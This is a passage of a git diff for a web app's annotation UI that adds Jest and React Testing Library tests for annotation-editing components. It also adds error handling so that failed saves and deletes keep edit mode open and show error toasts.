+      const mockSave = jest.fn().mockRejectedValueOnce(new Error('Save failed'))
+      const props = {
+        ...defaultProps,
+        onSave: mockSave,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Enter edit mode and save (should fail)
+      await user.click(screen.getByText('common.operation.edit'))
+      const textarea = screen.getByRole('textbox')
+      await user.type(textarea, 'New content')
+
+      // Save should fail but not throw
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert - Should remain in edit mode when save fails
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument()
+      expect(mockSave).toHaveBeenCalledWith('New content')
+    })
+
+    it('should handle delete action failure gracefully', async () => {
+      // Arrange
+      const mockSave = jest.fn()
+        .mockResolvedValueOnce(undefined) // First save succeeds
+        .mockRejectedValueOnce(new Error('Delete failed')) // Delete fails
+      const props = {
+        ...defaultProps,
+        onSave: mockSave,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Edit content to show delete button
+      await user.click(screen.getByText('common.operation.edit'))
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Modified content')
+
+      // Save to create new content
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+      await screen.findByText('common.operation.delete')
+
+      // Click delete (should fail but not throw)
+      await user.click(screen.getByText('common.operation.delete'))
+
+      // Assert - Delete action should handle error gracefully
+      expect(mockSave).toHaveBeenCalledTimes(2)
+      expect(mockSave).toHaveBeenNthCalledWith(1, 'Modified content')
+      expect(mockSave).toHaveBeenNthCalledWith(2, 'Test content')
+
+      // When delete fails, the delete button should still be visible (state not changed)
+      expect(screen.getByText('common.operation.delete')).toBeInTheDocument()
+      expect(screen.getByText('Modified content')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.tsx b/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.tsx
index e808d0b48a..6ba830967d 100644
--- a/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.tsx
+++ b/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.tsx
@@ -6,7 +6,7 @@ import { RiDeleteBinLine, RiEditFill, RiEditLine } from '@remixicon/react'
 import { Robot, User } from '@/app/components/base/icons/src/public/avatar'
 import Textarea from '@/app/components/base/textarea'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export enum EditItemType {
   Query = 'query',
@@ -52,8 +52,14 @@ const EditItem: FC<Props> = ({
   }, [content])
 
   const handleSave = async () => {
-    await onSave(newContent)
-    setIsEdit(false)
+    try {
+      await onSave(newContent)
+      setIsEdit(false)
+    }
+    catch {
+      // Keep edit mode open when save fails
+      // Error notification is handled by the parent component
+    }
   }
 
   const handleCancel = () => {
@@ -96,9 +102,16 @@ const EditItem: FC<Props> = ({
                     <div className='mr-2'>·</div>
                     <div
                       className='flex cursor-pointer items-center space-x-1'
-                      onClick={() => {
-                        setNewContent(content)
-                        onSave(content)
+                      onClick={async () => {
+                        try {
+                          await onSave(content)
+                          // Only update UI state after successful delete
+                          setNewContent(content)
+                        }
+                        catch {
+                          // Delete action failed - error is already handled by parent
+                          // UI state remains unchanged, user can retry
+                        }
                       }}
                     >
                       <div className='h-3.5 w-3.5'>
diff --git a/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx b/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx
new file mode 100644
index 0000000000..bdc991116c
--- /dev/null
+++ b/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx
@@ -0,0 +1,680 @@
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import Toast, { type IToastProps, type ToastHandle } from '@/app/components/base/toast'
+import EditAnnotationModal from './index'
+
+// Mock only external dependencies
+jest.mock('@/service/annotation', () => ({
+  addAnnotation: jest.fn(),
+  editAnnotation: jest.fn(),
+}))
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    plan: {
+      usage: { annotatedResponse: 5 },
+      total: { annotatedResponse: 10 },
+    },
+    enableBilling: true,
+  }),
+}))
+
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: () => ({
+    formatTime: () => '2023-12-01 10:30:00',
+  }),
+}))
+
+// Note: i18n is automatically mocked by Jest via __mocks__/react-i18next.ts
+
+jest.mock('@/app/components/billing/annotation-full', () => ({
+  __esModule: true,
+  default: () => <div data-testid="annotation-full" />,
+}))
+
+type ToastNotifyProps = Pick<IToastProps, 'type' | 'size' | 'message' | 'duration' | 'className' | 'customComponent' | 'onClose'>
+type ToastWithNotify = typeof Toast & { notify: (props: ToastNotifyProps) => ToastHandle }
+const toastWithNotify = Toast as unknown as ToastWithNotify
+const toastNotifySpy = jest.spyOn(toastWithNotify, 'notify').mockReturnValue({ clear: jest.fn() })
+
+const { addAnnotation: mockAddAnnotation, editAnnotation: mockEditAnnotation } = jest.requireMock('@/service/annotation') as {
+  addAnnotation: jest.Mock
+  editAnnotation: jest.Mock
+}
+
+describe('EditAnnotationModal', () => {
+  const defaultProps = {
+    isShow: true,
+    onHide: jest.fn(),
+    appId: 'test-app-id',
+    query: 'Test query',
+    answer: 'Test answer',
+    onEdited: jest.fn(),
+    onAdded: jest.fn(),
+    onRemove: jest.fn(),
+  }
+
+  afterAll(() => {
+    toastNotifySpy.mockRestore()
+  })
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockAddAnnotation.mockResolvedValue({
+      id: 'test-id',
+      account: { name: 'Test User' },
+    })
+    mockEditAnnotation.mockResolvedValue({})
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render modal when isShow is true', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Check for modal title as it appears in the mock
+      expect(screen.getByText('appAnnotation.editModal.title')).toBeInTheDocument()
+    })
+
+    it('should not render modal when isShow is false', () => {
+      // Arrange
+      const props = { ...defaultProps, isShow: false }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.queryByText('appAnnotation.editModal.title')).not.toBeInTheDocument()
+    })
+
+    it('should display query and answer sections', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Look for query and answer content
+      expect(screen.getByText('Test query')).toBeInTheDocument()
+      expect(screen.getByText('Test answer')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should handle different query and answer content', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        query: 'Custom query content',
+        answer: 'Custom answer content',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Check content is displayed
+      expect(screen.getByText('Custom query content')).toBeInTheDocument()
+      expect(screen.getByText('Custom answer content')).toBeInTheDocument()
+    })
+
+    it('should show remove option when annotationId is provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Remove option should be present (using pattern)
+      expect(screen.getByText('appAnnotation.editModal.removeThisCache')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should enable editing for query and answer sections', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Edit links should be visible (using text content)
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      expect(editLinks).toHaveLength(2)
+    })
+
+    it('should show remove option when annotationId is provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText('appAnnotation.editModal.removeThisCache')).toBeInTheDocument()
+    })
+
+    it('should save content when edited', async () => {
+      // Arrange
+      const mockOnAdded = jest.fn()
+      const props = {
+        ...defaultProps,
+        onAdded: mockOnAdded,
+      }
+      const user = userEvent.setup()
+
+      // Mock API response
+      mockAddAnnotation.mockResolvedValueOnce({
+        id: 'test-annotation-id',
+        account: { name: 'Test User' },
+      })
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Find and click edit link for query
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      // Find textarea and enter new content
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'New query content')
+
+      // Click save button
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      expect(mockAddAnnotation).toHaveBeenCalledWith('test-app-id', {
+        question: 'New query content',
+        answer: 'Test answer',
+        message_id: undefined,
+      })
+    })
+  })
+
+  // API Calls
+  describe('API Calls', () => {
+    it('should call addAnnotation when saving new annotation', async () => {
+      // Arrange
+      const mockOnAdded = jest.fn()
+      const props = {
+        ...defaultProps,
+        onAdded: mockOnAdded,
+      }
+      const user = userEvent.setup()
+
+      // Mock the API response
+      mockAddAnnotation.mockResolvedValueOnce({
+        id: 'test-annotation-id',
+        account: { name: 'Test User' },
+      })
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Edit query content
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Updated query')
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      expect(mockAddAnnotation).toHaveBeenCalledWith('test-app-id', {
+        question: 'Updated query',
+        answer: 'Test answer',
+        message_id: undefined,
+      })
+    })
+
+    it('should call editAnnotation when updating existing annotation', async () => {
+      // Arrange
+      const mockOnEdited = jest.fn()
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+        messageId: 'test-message-id',
+        onEdited: mockOnEdited,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Edit query content
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Modified query')
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      expect(mockEditAnnotation).toHaveBeenCalledWith(
+        'test-app-id',
+        'test-annotation-id',
+        {
+          message_id: 'test-message-id',
+          question: 'Modified query',
+          answer: 'Test answer',
+        },
+      )
+    })
+  })
+
+  // State Management
+  describe('State Management', () => {
+    it('should initialize with closed confirm modal', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Confirm dialog should not be visible initially
+      expect(screen.queryByText('appDebug.feature.annotation.removeConfirm')).not.toBeInTheDocument()
+    })
+
+    it('should show confirm modal when remove is clicked', async () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+      await user.click(screen.getByText('appAnnotation.editModal.removeThisCache'))
+
+      // Assert - Confirmation dialog should appear
+      expect(screen.getByText('appDebug.feature.annotation.removeConfirm')).toBeInTheDocument()
+    })
+
+    it('should call onRemove when removal is confirmed', async () => {
+      // Arrange
+      const mockOnRemove = jest.fn()
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+        onRemove: mockOnRemove,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Click remove
+      await user.click(screen.getByText('appAnnotation.editModal.removeThisCache'))
+
+      // Click confirm
+      const confirmButton = screen.getByRole('button', { name: 'common.operation.confirm' })
+      await user.click(confirmButton)
+
+      // Assert
+      expect(mockOnRemove).toHaveBeenCalled()
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle empty query and answer', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        query: '',
+        answer: '',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText('appAnnotation.editModal.title')).toBeInTheDocument()
+    })
+
+    it('should handle very long content', () => {
+      // Arrange
+      const longQuery = 'Q'.repeat(1000)
+      const longAnswer = 'A'.repeat(1000)
+      const props = {
+        ...defaultProps,
+        query: longQuery,
+        answer: longAnswer,
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText(longQuery)).toBeInTheDocument()
+      expect(screen.getByText(longAnswer)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in content', () => {
+      // Arrange
+      const specialQuery = 'Query with & < > " \' characters'
+      const specialAnswer = 'Answer with & < > " \' characters'
+      const props = {
+        ...defaultProps,
+        query: specialQuery,
+        answer: specialAnswer,
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText(specialQuery)).toBeInTheDocument()
+      expect(screen.getByText(specialAnswer)).toBeInTheDocument()
+    })
+
+    it('should handle onlyEditResponse prop', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        onlyEditResponse: true,
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Query should be readonly, answer should be editable
+      const editLinks = screen.queryAllByText(/common\.operation\.edit/i)
+      expect(editLinks).toHaveLength(1) // Only answer should have edit button
+    })
+  })
+
+  // Error Handling (CRITICAL for coverage)
+  describe('Error Handling', () => {
+    it('should show error toast and skip callbacks when addAnnotation fails', async () => {
+      // Arrange
+      const mockOnAdded = jest.fn()
+      const props = {
+        ...defaultProps,
+        onAdded: mockOnAdded,
+      }
+      const user = userEvent.setup()
+
+      // Mock API failure
+      mockAddAnnotation.mockRejectedValueOnce(new Error('API Error'))
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Find and click edit link for query
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      // Find textarea and enter new content
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'New query content')
+
+      // Click save button
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          message: 'API Error',
+          type: 'error',
+        })
+      })
+      expect(mockOnAdded).not.toHaveBeenCalled()
+
+      // Verify edit mode remains open (textarea should still be visible)
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument()
+    })
+
+    it('should show fallback error message when addAnnotation error has no message', async () => {
+      // Arrange
+      const mockOnAdded = jest.fn()
+      const props = {
+        ...defaultProps,
+        onAdded: mockOnAdded,
+      }
+      const user = userEvent.setup()
+
+      mockAddAnnotation.mockRejectedValueOnce({})
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'New query content')
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          message: 'common.api.actionFailed',
+          type: 'error',
+        })
+      })
+      expect(mockOnAdded).not.toHaveBeenCalled()
+
+      // Verify edit mode remains open (textarea should still be visible)
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument()
+    })
+
+    it('should show error toast and skip callbacks when editAnnotation fails', async () => {
+      // Arrange
+      const mockOnEdited = jest.fn()
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+        messageId: 'test-message-id',
+        onEdited: mockOnEdited,
+      }
+      const user = userEvent.setup()
+
+      // Mock API failure
+      mockEditAnnotation.mockRejectedValueOnce(new Error('API Error'))
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Edit query content
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Modified query')
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          message: 'API Error',
+          type: 'error',
+        })
+      })
+      expect(mockOnEdited).not.toHaveBeenCalled()
+
+      // Verify edit mode remains open (textarea should still be visible)
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument()
+    })
+
+    it('should show fallback error message when editAnnotation error is not an Error instance', async () => {
+      // Arrange
+      const mockOnEdited = jest.fn()
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+        messageId: 'test-message-id',
+        onEdited: mockOnEdited,
+      }
+      const user = userEvent.setup()
+
+      mockEditAnnotation.mockRejectedValueOnce('oops')
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Modified query')
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          message: 'common.api.actionFailed',
+          type: 'error',
+        })
+      })
+      expect(mockOnEdited).not.toHaveBeenCalled()
+
+      // Verify edit mode remains open (textarea should still be visible)
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument()
+    })
+  })
+
+  // Billing & Plan Features
+  describe('Billing & Plan Features', () => {
+    it('should show createdAt time when provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+        createdAt: 1701381000, // 2023-12-01 10:30:00
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Check that the formatted time appears somewhere in the component
+      const container = screen.getByRole('dialog')
+      expect(container).toHaveTextContent('2023-12-01 10:30:00')
+    })
+
+    it('should not show createdAt when not provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+        // createdAt is undefined
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Should not contain any timestamp
+      const container = screen.getByRole('dialog')
+      expect(container).not.toHaveTextContent('2023-12-01 10:30:00')
+    })
+
+    it('should display remove section when annotationId exists', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Should have remove functionality
+      expect(screen.getByText('appAnnotation.editModal.removeThisCache')).toBeInTheDocument()
+    })
+  })
+
+  // Toast Notifications (Success)
+  describe('Toast Notifications', () => {
+    it('should show success notification when save operation completes', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Updated query')
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          message: 'common.api.actionSuccess',
+          type: 'success',
+        })
+      })
+    })
+  })
+
+  // React.memo Performance Testing
+  describe('React.memo Performance', () => {
+    it('should not re-render when props are the same', () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const { rerender } = render(<EditAnnotationModal {...props} />)
+
+      // Act - Re-render with same props
+      rerender(<EditAnnotationModal {...props} />)
+
+      // Assert - Component should still be visible (no errors thrown)
+      expect(screen.getByText('appAnnotation.editModal.title')).toBeInTheDocument()
+    })
+
+    it('should re-render when props change', () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const { rerender } = render(<EditAnnotationModal {...props} />)
+
+      // Act - Re-render with different props
+      const newProps = { ...props, query: 'New query content' }
+      rerender(<EditAnnotationModal {...newProps} />)
+
+      // Assert - Should show new content
+      expect(screen.getByText('New query content')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/annotation/edit-annotation-modal/index.tsx b/web/app/components/app/annotation/edit-annotation-modal/index.tsx
index 2961ce393c..6172a215e4 100644
--- a/web/app/components/app/annotation/edit-annotation-modal/index.tsx
+++ b/web/app/components/app/annotation/edit-annotation-modal/index.tsx
@@ -53,27 +53,39 @@ const EditAnnotationModal: FC<Props> = ({
       postQuery = editedContent
     else
       postAnswer = editedContent
-    if (!isAdd) {
-      await editAnnotation(appId, annotationId, {
-        message_id: messageId,
-        question: postQuery,
-        answer: postAnswer,
-      })
-      onEdited(postQuery, postAnswer)
-    }
-    else {
-      const res: any = await addAnnotation(appId, {
-        question: postQuery,
-        answer: postAnswer,
-        message_id: messageId,
-      })
-      onAdded(res.id, res.account?.name, postQuery, postAnswer)
-    }
+    try {
+      if (!isAdd) {
+        await editAnnotation(appId, annotationId, {
+          message_id: messageId,
+          question: postQuery,
+          answer: postAnswer,
+        })
+        onEdited(postQuery, postAnswer)
+      }
+      else {
+        const res = await addAnnotation(appId, {
+          question: postQuery,
+          answer: postAnswer,
+          message_id: messageId,
+        })
+        onAdded(res.id, res.account?.name ?? '', postQuery, postAnswer)
+      }
 
-    Toast.notify({
-      message: t('common.api.actionSuccess') as string,
-      type: 'success',
-    })
+      Toast.notify({
+        message: t('common.api.actionSuccess') as string,
+        type: 'success',
+      })
+    }
+    catch (error) {
+      const fallbackMessage = t('common.api.actionFailed') as string
+      const message = error instanceof Error && error.message ? error.message : fallbackMessage
+      Toast.notify({
+        message,
+        type: 'error',
+      })
+      // Re-throw to preserve edit mode behavior for UI components
+      throw error
+    }
   }
   const [showModal, setShowModal] = useState(false)
 
diff --git a/web/app/components/app/annotation/empty-element.spec.tsx b/web/app/components/app/annotation/empty-element.spec.tsx
new file mode 100644
index 0000000000..56ebb96121
--- /dev/null
+++ b/web/app/components/app/annotation/empty-element.spec.tsx
@@ -0,0 +1,13 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import EmptyElement from './empty-element'
+
+describe('EmptyElement', () => {
+  it('should render the empty state copy and supporting icon', () => {
+    const { container } = render(<EmptyElement />)
+
+    expect(screen.getByText('appAnnotation.noData.title')).toBeInTheDocument()
+    expect(screen.getByText('appAnnotation.noData.description')).toBeInTheDocument()
+    expect(container.querySelector('svg')).not.toBeNull()
+  })
+})
diff --git a/web/app/components/app/annotation/filter.spec.tsx b/web/app/components/app/annotation/filter.spec.tsx
new file mode 100644
index 0000000000..6260ff7668
--- /dev/null
+++ b/web/app/components/app/annotation/filter.spec.tsx
@@ -0,0 +1,70 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import Filter, { type QueryParam } from './filter'
+import useSWR from 'swr'
+
+jest.mock('swr', () => ({
+  __esModule: true,
+  default: jest.fn(),
+}))
+
+jest.mock('@/service/log', () => ({
+  fetchAnnotationsCount: jest.fn(),
+}))
+
+const mockUseSWR = useSWR as unknown as jest.Mock
+
+describe('Filter', () => {
+  const appId = 'app-1'
+  const childContent = 'child-content'
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('should render nothing until annotation count is fetched', () => {
+    mockUseSWR.mockReturnValue({ data: undefined })
+
+    const { container } = render(
+      <Filter
+        appId={appId}
+        queryParams={{ keyword: '' }}
+        setQueryParams={jest.fn()}
+      >
+        <div>{childContent}</div>
+      </Filter>,
+    )
+
+    expect(container.firstChild).toBeNull()
+    expect(mockUseSWR).toHaveBeenCalledWith(
+      { url: `/apps/${appId}/annotations/count` },
+      expect.any(Function),
+    )
+  })
+
+  it('should propagate keyword changes and clearing behavior', () => {
+    mockUseSWR.mockReturnValue({ data: { total: 20 } })
+    const queryParams: QueryParam = { keyword: 'prefill' }
+    const setQueryParams = jest.fn()
+
+    const { container } = render(
+      <Filter
+        appId={appId}
+        queryParams={queryParams}
+        setQueryParams={setQueryParams}
+      >
+        <div>{childContent}</div>
+      </Filter>,
+    )
+
+    const input = screen.getByPlaceholderText('common.operation.search') as HTMLInputElement
+    fireEvent.change(input, { target: { value: 'updated' } })
+    expect(setQueryParams).toHaveBeenCalledWith({ ...queryParams, keyword: 'updated' })
+
+    const clearButton = input.parentElement?.querySelector('div.cursor-pointer') as HTMLElement
+    fireEvent.click(clearButton)
+    expect(setQueryParams).toHaveBeenCalledWith({ ...queryParams, keyword: '' })
+
+    expect(container).toHaveTextContent(childContent)
+  })
+})
diff --git a/web/app/components/app/annotation/header-opts/index.spec.tsx b/web/app/components/app/annotation/header-opts/index.spec.tsx
new file mode 100644
index 0000000000..3d8a1fd4ef
--- /dev/null
+++ b/web/app/components/app/annotation/header-opts/index.spec.tsx
@@ -0,0 +1,439 @@
+import * as React from 'react'
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import type { ComponentProps } from 'react'
+import HeaderOptions from './index'
+import I18NContext from '@/context/i18n'
+import { LanguagesSupported } from '@/i18n-config/language'
+import type { AnnotationItemBasic } from '../type'
+import { clearAllAnnotations, fetchExportAnnotationList } from '@/service/annotation'
+
+jest.mock('@headlessui/react', () => {
+  type PopoverContextValue = { open: boolean; setOpen: (open: boolean) => void }
+  type MenuContextValue = { open: boolean; setOpen: (open: boolean) => void }
+  const PopoverContext = React.createContext<PopoverContextValue | null>(null)
+  const MenuContext = React.createContext<MenuContextValue | null>(null)
+
+  const Popover = ({ children }: { children: React.ReactNode | ((props: { open: boolean }) => React.ReactNode) }) => {
+    const [open, setOpen] = React.useState(false)
+    const value = React.useMemo(() => ({ open, setOpen }), [open])
+    return (
+      <PopoverContext.Provider value={value}>
+        {typeof children === 'function' ? children({ open }) : children}
+      </PopoverContext.Provider>
+    )
+  }
+
+  const PopoverButton = React.forwardRef(({ onClick, children, ...props }: { onClick?: () => void; children?: React.ReactNode }, ref: React.Ref<HTMLButtonElement>) => {
+    const context = React.useContext(PopoverContext)
+    const handleClick = () => {
+      context?.setOpen(!context.open)
+      onClick?.()
+    }
+    return (
+      <button
+        ref={ref}
+        type="button"
+        aria-expanded={context?.open ?? false}
+        onClick={handleClick}
+        {...props}
+      >
+        {children}
+      </button>
+    )
+  })
+
+  const PopoverPanel = React.forwardRef(({ children, ...props }: { children: React.ReactNode | ((props: { close: () => void }) => React.ReactNode) }, ref: React.Ref<HTMLDivElement>) => {
+    const context = React.useContext(PopoverContext)
+    if (!context?.open) return null
+    const content = typeof children === 'function' ? children({ close: () => context.setOpen(false) }) : children
+    return (
+      <div ref={ref} {...props}>
+        {content}
+      </div>
+    )
+  })
+
+  const Menu = ({ children }: { children: React.ReactNode }) => {
+    const [open, setOpen] = React.useState(false)
+    const value = React.useMemo(() => ({ open, setOpen }), [open])
+    return (
+      <MenuContext.Provider value={value}>
+        {children}
+      </MenuContext.Provider>
+    )
+  }
+
+  const MenuButton = ({ onClick, children, ...props }: { onClick?: () => void; children?: React.ReactNode }) => {
+    const context = React.useContext(MenuContext)
+    const handleClick = () => {
+      context?.setOpen(!context.open)
+      onClick?.()
+    }
+    return (
+      <button type="button" aria-expanded={context?.open ?? false} onClick={handleClick} {...props}>
+        {children}
+      </button>
+    )
+  }
+
+  const MenuItems = ({ children, ...props }: { children: React.ReactNode }) => {
+    const context = React.useContext(MenuContext)
+    if (!context?.open) return null
+    return (
+      <div {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  return {
+    Dialog: ({ open, children, className }: { open?: boolean; children: React.ReactNode; className?: string }) => {
+      if (open === false) return null
+      return (
+        <div role="dialog" className={className}>
+          {children}
+        </div>
+      )
+    },
+    DialogBackdrop: ({ children, className, onClick }: { children?: React.ReactNode; className?: string; onClick?: () => void }) => (
+      <div className={className} onClick={onClick}>
+        {children}
+      </div>
+    ),
+    DialogPanel: ({ children, className, ...props }: { children: React.ReactNode; className?: string }) => (
+      <div className={className} {...props}>
+        {children}
+      </div>
+    ),
+    DialogTitle: ({ children, className, ...props }: { children: React.ReactNode; className?: string }) => (
+      <div className={className} {...props}>
+        {children}
+      </div>
+    ),
+    Popover,
+    PopoverButton,
+    PopoverPanel,
+    Menu,
+    MenuButton,
+    MenuItems,
+    Transition: ({ show = true, children }: { show?: boolean; children: React.ReactNode }) => (show ? <>{children}</> : null),
+    TransitionChild: ({ children }: { children: React.ReactNode }) => <>{children}</>,
+  }
+})
+
+let lastCSVDownloaderProps: Record<string, unknown> | undefined
+const mockCSVDownloader = jest.fn(({ children, ...props }) => {
+  lastCSVDownloaderProps = props
+  return (
+    <div data-testid="csv-downloader">
+      {children}
+    </div>
+  )
+})
+
+jest.mock('react-papaparse', () => ({
+  useCSVDownloader: () => ({
+    CSVDownloader: (props: any) => mockCSVDownloader(props),
+    Type: { Link: 'link' },
+  }),
+}))
+
+jest.mock('@/service/annotation', () => ({
